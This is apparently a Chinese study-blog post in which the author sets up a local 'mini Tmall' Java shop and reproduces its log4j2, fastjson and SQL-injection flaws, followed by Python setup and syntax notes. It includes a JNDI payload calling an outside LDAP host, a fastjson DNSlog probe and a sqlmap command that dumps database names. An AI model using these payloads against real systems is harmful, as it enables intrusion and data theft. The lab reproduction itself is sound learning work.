26-搭建审计迷你天猫商城&python相关知识

1、搭建迷你天猫商城系统并复现log4j2 、fastjson命令执行、sql注入漏洞

搭建迷你天猫商城

  1. 下载源码

  2. 配置数据库(5.7.26)

    • 将数据库文件导入,,修改 application.properties中 的数据库账号密码
    • 当数据库版本 > 5.7 时会报 GROUP BY 语句的错误,所以还需要修改 MySQL 5.7.26 的配置文件,在配置文件中新加一项 sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION

    image-20250318125100011

  3. 尝试登录后台 http://localhost:8081/tmall/admin ,账号密码为 admin/123456

    image-20250318125147765

复现 log4j2(2.14.1)漏洞

  1. 寻找漏洞触发点。全局搜索关键字 logger.info

    image-20250318132202334

  2. 分析文件内容,双击进入该代码文件,发现originalFileName 变量可控,存在log4j2漏洞

    image-20250318132822719

  3. 找到漏洞利用点

    创建test用户,找到头像上传功能点抓包修改 filename 参数,使用构造的 JNDI注入 payload:${jndi:ldap://10.0.0.1:1389/6n7gls}

    image-20250318135357285

    发包漏洞复现成功

    image-20250318135540579

复现 fastjson命令执行(1.2.24)漏洞

  1. 寻找漏洞触发点,搜索关键字 JSON.parseJSON.parseObject

    image-20250318140532277

  2. 分析文件内容,双击进入该代码文件,发现使用 JSON.parseObject() 方法反序列化了 orderItemMap 参数,orderItemMap 变量可控,存在fastjson命令执行漏洞

    image-20250318140848480

  3. 找到漏洞利用点

    使用注册的test账号,发现触发漏洞的位置位于用户购物车多商品结算的时候触发的请求

    image-20250318142236926

  4. 漏洞复现

    • 访问在线DNSlog地址,点击获取一个子域名

      image-20250318142826000

    • 构造漏洞验证POC:

      {"@type":"java.net.Inet4Address","val":"to9n7d.dnslog.cn"}
      
    • 抓包修改 orderItemMap 参数后,发包

      image-20250318142747179

    • 再次访问DNSLog地址,点击 Refresh Record ,看到获取到回显信息即漏洞利用成功

    image-20250318142842093

复现 sql注入漏洞

  1. 寻找漏洞触发点,项目使用了Mybatis来定义SQL即全局搜索关键字 ${

    image-20250318145903643

  2. 审计代码

    • 双击进入 UserMapper.xml 文件,第70行存在问题。向上追踪,发现是来自于com.xq.tmall.dao.UserMapper 文件

      image-20250318150305270

    • 进入 UserMapper 文件,可以看到select函数中存在 orderUitl 参数,继续追踪,看看参数值从何而来

      image-20250318150800630

    • 选中select函数,按住 ctrl + alt +H 查看它的调用方法

      image-20250318151420798

    • 跟踪getList 发现使用了 orderUtil 参数,继续跟踪

      image-20250318151540468

    • 可以看到 UserController.java 使用了该方法。文件里实例化 OrderUitl 工具类,该类需要两个参数orderByisDesc ,继续追踪 orderBy 从何而来

      image-20250318152347054

    • 发现是通过 admin/user/{index}/{count} 接口传过来的,且 orderBy 参数可控,存在sql注入漏洞。通过注释可以看出来该接口用于按条件查询用户

      image-20250318153150025

  3. 找到漏洞利用点

    • 发现用户管理翻页查询会向该接口发送请求数据包

      image-20250318154808796

    • 抓到含有orderBy字段的数据包,赋值为1构造poc文件,取名为1.txt

      image-20250318155436953

      image-20250318155855197

  4. 使用SQLMap扫描

    python sqlmap.py -r 1.txt --batch --dbs
    

    可以看到sql注入漏洞复现成功,成功拿到所有数据库名

    image-20250318162857559

2、安装python解释器并配置vscode 进行python开发和调试

  • 安裝python解释器

    • Python的官方网站下载Python 3对应的安装程序,特别要注意勾上 Add Python 3.x to PATH ,然后点“Install Now”即可完成安装。

    • 运行 python 出现如下图所示即安装成功

      image-20250319111720439

  • 配置 vscode

    • vscode 打开 test 文件夹创建名为 1.py 的python文件,输入测试代码print('hello, world')

      image-20250319114033866

    • 点击右下角识别的 python 版本,点击【创建虚拟环境】> 【Venv】> 安装路径选择全局即可

      image-20250319114301394

    • 安装成功后运行代码,如下图所示:

      image-20250319150157013

  • python开发和调试

    • 需要vscode里安装如下插件 :Python ,Python Debugger

      image-20250319153630398

    • 在终端新建powershell窗口,可以看到powershell已被激活;尝试安装 requests包 pip install requests

      成功安装

      image-20250319154244633

    • 来到运行调试模块,对 1.py 进行运行和调试,第一行下断点,点击【运行和调试】> 【Python Debugger】> 【对Python文件】

      可以看到成功停到了断点处,调试成功。

      image-20250319155441760

3、复习python基础语法,包括数据类型、函数、模块等知识

  • 数据类型

    • 整数

    • 浮点数(小数)

    • 字符串(单引号 '或双引号"括起来的任意文本)

    • 布尔值:True/False(支持and/or/not运算)

    • 空值(None表示不等于0)

    • 变量:动态类型,无需声明类型,命名规则(字母、数字和 _ 的组合,且不能用数字开头)

    • 常量:不能变的变量。

  • 函数

    • 定义函数:使用 def 语句,依次写出函数名、括号、括号中的参数和冒号 : ,然后,在缩进块中编写函数体,函数的返回值用 return 语句返回。

      以自定义一个求绝对值的 my_abs 函数为例:

      def my_abs(x):
          if x >= 0:
              return x
          else:
              return -x
      print(my_abs(-99))
      
    • 参数类型

      • 位置参数:def func(a, b)
      • 默认参数:def func(a=1)
      • 可变参数:def func(*args)(接收元组)
      • 关键字参数:def func(**kwargs)(接收字典)
  • 模块

    概述:为了编写可维护的代码,把很多函数分组,分别放到不同的文件里;在Python中,这些.py文件就称之为模块(Module)

    • 使用模块 :import 模块名称

    • 第三方模块安装:pip install 模块名称

    • 模块搜索路径

      默认情况下,Python解释器会搜索当前目录、所有已安装的内置模块和第三方模块,搜索路径存放在 xxx 模块的 path 变量中

      如果要添加自己搜索目录,有两种方法:

      1. ⼀是直接修改 xxx.path ,添加要搜索的目录。
      2. 设置环境变量PYTHONPATH扩展搜索路径。

4、预习安全开发常用技术

1. Python正则表达式
  • 基础语法
    • \d(数字)、\w(字母/数字/下划线)、.(任意字符)、*(0或多个)、+(1或多个)、?(0或1次)、{n,m}(匹配n到m次)。
    • 特殊字符转义(如\-匹配短横线)。
  • 进阶功能
    • 分组:用()提取子串,如(\d{3})-(\d{3,8})提取区号和号码。
    • 非贪婪匹配.*?避免过度匹配。
    • 切分字符串re.split()处理复杂分隔符(如多个空格或逗号)。
  • 编译优化re.compile()预编译正则表达式,提升重复匹配效率。
2. Python网络编程(Requests库)
  • 请求方法:GET、POST、PUT、DELETE等。
  • 请求参数
    • params:URL查询参数。
    • data/json:表单或JSON格式的请求体。
    • headers:伪装浏览器或携带Token(如User-AgentAuthorization)。
    • files:上传文件。
    • timeout:设置超时时间(连接+读取)。
  • 响应处理
    • content(二进制)、text(字符串)、json()(字典)。
    • 状态码(status_code)、响应头(headers)和Cookies。
  • 异常处理:捕获RequestException(如连接超时、HTTP错误)。
  • 性能优化
    • 多线程ThreadPoolExecutor并发发送请求。
    • 复用TCP连接Session对象保持长连接。
    • 重试机制HTTPAdapter(max_retries=3)
3. Python数据库编程
  • MySQL连接:使用mysql-connectorpymysql库。
  • ORM框架(SQLAlchemy)
    • 定义模型类(如Users表结构)。
    • CRUD操作:session.add()session.query()session.commit()
  • 防SQL注入:使用参数化查询,避免字符串拼接。
4. Python多线程与多进程
  • 多线程
    • threading.Thread创建线程。
    • 锁机制Lock解决资源竞争问题。
    • GIL限制:CPU密集型任务推荐多进程。
  • 多进程
    • multiprocessing.Process创建进程。
    • 进程池Pool批量管理子进程。
    • 进程间通信Queue传递数据。
  • 异步并发concurrent.futures统一线程池/进程池接口。
posted @ 2025-03-21 14:56  荔枝在敲诈  阅读(85)  评论(1)    收藏  举报